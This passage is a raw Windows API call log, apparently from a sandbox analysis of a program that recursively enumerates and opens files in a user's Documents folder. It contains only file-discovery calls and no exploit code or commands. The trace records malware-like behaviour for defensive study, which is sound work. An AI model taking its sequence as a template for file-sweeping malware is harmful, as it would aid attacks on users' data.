ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x61e34f90, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tXSKss27JHD6_ml0uf", cAlternateFileName="")) returned 1 [0090.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e388 [0090.676] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec56a0, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0x61e34f90, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x61e34f90, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.676] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.677] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.677] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.677] NtClose (Handle=0x168) returned 0x0 [0090.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e388) returned 1 [0090.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e388 [0090.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e490 [0090.679] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0090.679] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec56a0, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0x61e34f90, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x61e34f90, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.680] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf13a70, ftCreationTime.dwHighDateTime=0x1d5c493, ftLastAccessTime.dwLowDateTime=0x8d9d1900, ftLastAccessTime.dwHighDateTime=0x1d5c074, ftLastWriteTime.dwLowDateTime=0x8d9d1900, ftLastWriteTime.dwHighDateTime=0x1d5c074, nFileSizeHigh=0x0, nFileSizeLow=0x535d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8c752-qy.pps", cAlternateFileName="")) returned 1 [0090.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e598 [0090.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f55d8 [0090.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e6a0 [0090.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.683] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a25e70, ftCreationTime.dwHighDateTime=0x1d5bdbf, ftLastAccessTime.dwLowDateTime=0x447a72a0, ftLastAccessTime.dwHighDateTime=0x1d5bf97, ftLastWriteTime.dwLowDateTime=0x447a72a0, ftLastWriteTime.dwHighDateTime=0x1d5bf97, nFileSizeHigh=0x0, nFileSizeLow=0x18c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="anTJ7YRrKoMtjqej.pps", cAlternateFileName="")) returned 1 [0090.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f55f8 [0090.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e7a8 [0090.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.684] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf2a7d60, ftCreationTime.dwHighDateTime=0x1d5c4e7, ftLastAccessTime.dwLowDateTime=0x35954c50, ftLastAccessTime.dwHighDateTime=0x1d5baed, ftLastWriteTime.dwLowDateTime=0x35954c50, ftLastWriteTime.dwHighDateTime=0x1d5baed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bD P y", cAlternateFileName="")) returned 1 [0090.684] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebbc8d10, ftCreationTime.dwHighDateTime=0x1d5b9a6, ftLastAccessTime.dwLowDateTime=0x83d4c780, ftLastAccessTime.dwHighDateTime=0x1d5b695, ftLastWriteTime.dwLowDateTime=0x83d4c780, ftLastWriteTime.dwHighDateTime=0x1d5b695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mMdO", cAlternateFileName="")) returned 1 [0090.684] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1bca070, ftCreationTime.dwHighDateTime=0x1d5c11d, ftLastAccessTime.dwLowDateTime=0xcfb24b50, ftLastAccessTime.dwHighDateTime=0x1d5bc58, ftLastWriteTime.dwLowDateTime=0xcfb24b50, ftLastWriteTime.dwHighDateTime=0x1d5bc58, nFileSizeHigh=0x0, nFileSizeLow=0x1d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="raR8_I8Ve2Q.ots", cAlternateFileName="")) returned 1 [0090.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5618 [0090.686] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8faa340, ftCreationTime.dwHighDateTime=0x1d5b69a, ftLastAccessTime.dwLowDateTime=0x9c1c4330, ftLastAccessTime.dwHighDateTime=0x1d5be1b, ftLastWriteTime.dwLowDateTime=0x9c1c4330, ftLastWriteTime.dwHighDateTime=0x1d5be1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vdij4lVSo9ZkL8aGhz", cAlternateFileName="")) returned 1 [0090.686] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8faa340, ftCreationTime.dwHighDateTime=0x1d5b69a, ftLastAccessTime.dwLowDateTime=0x9c1c4330, ftLastAccessTime.dwHighDateTime=0x1d5be1b, ftLastWriteTime.dwLowDateTime=0x9c1c4330, ftLastWriteTime.dwHighDateTime=0x1d5be1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vdij4lVSo9ZkL8aGhz", cAlternateFileName="")) returned 0 [0090.686] GetLastError () returned 0x12 [0090.686] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.686] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.686] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec56a0, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0x61e34f90, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x61e34f90, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.686] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf13a70, ftCreationTime.dwHighDateTime=0x1d5c493, ftLastAccessTime.dwLowDateTime=0x8d9d1900, ftLastAccessTime.dwHighDateTime=0x1d5c074, ftLastWriteTime.dwLowDateTime=0x8d9d1900, ftLastWriteTime.dwHighDateTime=0x1d5c074, nFileSizeHigh=0x0, nFileSizeLow=0x535d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8c752-qy.pps", cAlternateFileName="")) returned 1 [0090.686] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a25e70, ftCreationTime.dwHighDateTime=0x1d5bdbf, ftLastAccessTime.dwLowDateTime=0x447a72a0, ftLastAccessTime.dwHighDateTime=0x1d5bf97, ftLastWriteTime.dwLowDateTime=0x447a72a0, ftLastWriteTime.dwHighDateTime=0x1d5bf97, nFileSizeHigh=0x0, nFileSizeLow=0x18c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="anTJ7YRrKoMtjqej.pps", cAlternateFileName="")) returned 1 [0090.686] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf2a7d60, ftCreationTime.dwHighDateTime=0x1d5c4e7, ftLastAccessTime.dwLowDateTime=0x35954c50, ftLastAccessTime.dwHighDateTime=0x1d5baed, ftLastWriteTime.dwLowDateTime=0x35954c50, ftLastWriteTime.dwHighDateTime=0x1d5baed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bD P y", cAlternateFileName="")) returned 1 [0090.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf2a7d60, ftCreationTime.dwHighDateTime=0x1d5c4e7, ftLastAccessTime.dwLowDateTime=0x35954c50, ftLastAccessTime.dwHighDateTime=0x1d5baed, ftLastWriteTime.dwLowDateTime=0x35954c50, ftLastWriteTime.dwHighDateTime=0x1d5baed, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.687] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0090.687] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0090.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.687] NtClose (Handle=0x168) returned 0x0 [0090.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e9b8) returned 1 [0090.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e9b8 [0090.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134eac0 [0090.689] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0090.689] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf2a7d60, ftCreationTime.dwHighDateTime=0x1d5c4e7, ftLastAccessTime.dwLowDateTime=0x35954c50, ftLastAccessTime.dwHighDateTime=0x1d5baed, ftLastWriteTime.dwLowDateTime=0x35954c50, ftLastWriteTime.dwHighDateTime=0x1d5baed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.690] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90671c0, ftCreationTime.dwHighDateTime=0x1d5c2a2, ftLastAccessTime.dwLowDateTime=0x22b52d00, ftLastAccessTime.dwHighDateTime=0x1d5b677, ftLastWriteTime.dwLowDateTime=0x22b52d00, ftLastWriteTime.dwHighDateTime=0x1d5b677, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiKGa", cAlternateFileName="")) returned 1 [0090.690] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90671c0, ftCreationTime.dwHighDateTime=0x1d5c2a2, ftLastAccessTime.dwLowDateTime=0x22b52d00, ftLastAccessTime.dwHighDateTime=0x1d5b677, ftLastWriteTime.dwLowDateTime=0x22b52d00, ftLastWriteTime.dwHighDateTime=0x1d5b677, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiKGa", cAlternateFileName="")) returned 0 [0090.690] GetLastError () returned 0x12 [0090.690] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9000 [0090.690] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.690] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf2a7d60, ftCreationTime.dwHighDateTime=0x1d5c4e7, ftLastAccessTime.dwLowDateTime=0x35954c50, ftLastAccessTime.dwHighDateTime=0x1d5baed, ftLastWriteTime.dwLowDateTime=0x35954c50, ftLastWriteTime.dwHighDateTime=0x1d5baed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.690] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90671c0, ftCreationTime.dwHighDateTime=0x1d5c2a2, ftLastAccessTime.dwLowDateTime=0x22b52d00, ftLastAccessTime.dwHighDateTime=0x1d5b677, ftLastWriteTime.dwLowDateTime=0x22b52d00, ftLastWriteTime.dwHighDateTime=0x1d5b677, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiKGa", cAlternateFileName="")) returned 1 [0090.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ebc8 [0090.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ecd0 [0090.691] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y\\hikga"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90671c0, ftCreationTime.dwHighDateTime=0x1d5c2a2, ftLastAccessTime.dwLowDateTime=0x22b52d00, ftLastAccessTime.dwHighDateTime=0x1d5b677, ftLastWriteTime.dwLowDateTime=0x22b52d00, ftLastWriteTime.dwHighDateTime=0x1d5b677, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.691] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y\\hikga"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.691] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0090.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.692] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0090.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.692] NtClose (Handle=0x168) returned 0x0 [0090.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134ecd0) returned 1 [0090.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ecd0 [0090.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134edd8 [0090.693] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9040 [0090.694] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90671c0, ftCreationTime.dwHighDateTime=0x1d5c2a2, ftLastAccessTime.dwLowDateTime=0x22b52d00, ftLastAccessTime.dwHighDateTime=0x1d5b677, ftLastWriteTime.dwLowDateTime=0x22b52d00, ftLastWriteTime.dwHighDateTime=0x1d5b677, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.695] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c31a320, ftCreationTime.dwHighDateTime=0x1d5bf7f, ftLastAccessTime.dwLowDateTime=0xe0919aa0, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xe0919aa0, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ew7Uh tfAZjKVsun0z", cAlternateFileName="")) returned 1 [0090.695] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c31a320, ftCreationTime.dwHighDateTime=0x1d5bf7f, ftLastAccessTime.dwLowDateTime=0xe0919aa0, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xe0919aa0, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ew7Uh tfAZjKVsun0z", cAlternateFileName="")) returned 0 [0090.695] GetLastError () returned 0x12 [0090.695] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0090.695] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.695] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90671c0, ftCreationTime.dwHighDateTime=0x1d5c2a2, ftLastAccessTime.dwLowDateTime=0x22b52d00, ftLastAccessTime.dwHighDateTime=0x1d5b677, ftLastWriteTime.dwLowDateTime=0x22b52d00, ftLastWriteTime.dwHighDateTime=0x1d5b677, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.695] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c31a320, ftCreationTime.dwHighDateTime=0x1d5bf7f, ftLastAccessTime.dwLowDateTime=0xe0919aa0, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xe0919aa0, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ew7Uh tfAZjKVsun0z", cAlternateFileName="")) returned 1 [0090.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134eee0 [0090.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134efe8 [0090.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y\\hikga\\ew7uh tfazjkvsun0z"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c31a320, ftCreationTime.dwHighDateTime=0x1d5bf7f, ftLastAccessTime.dwLowDateTime=0xe0919aa0, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xe0919aa0, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 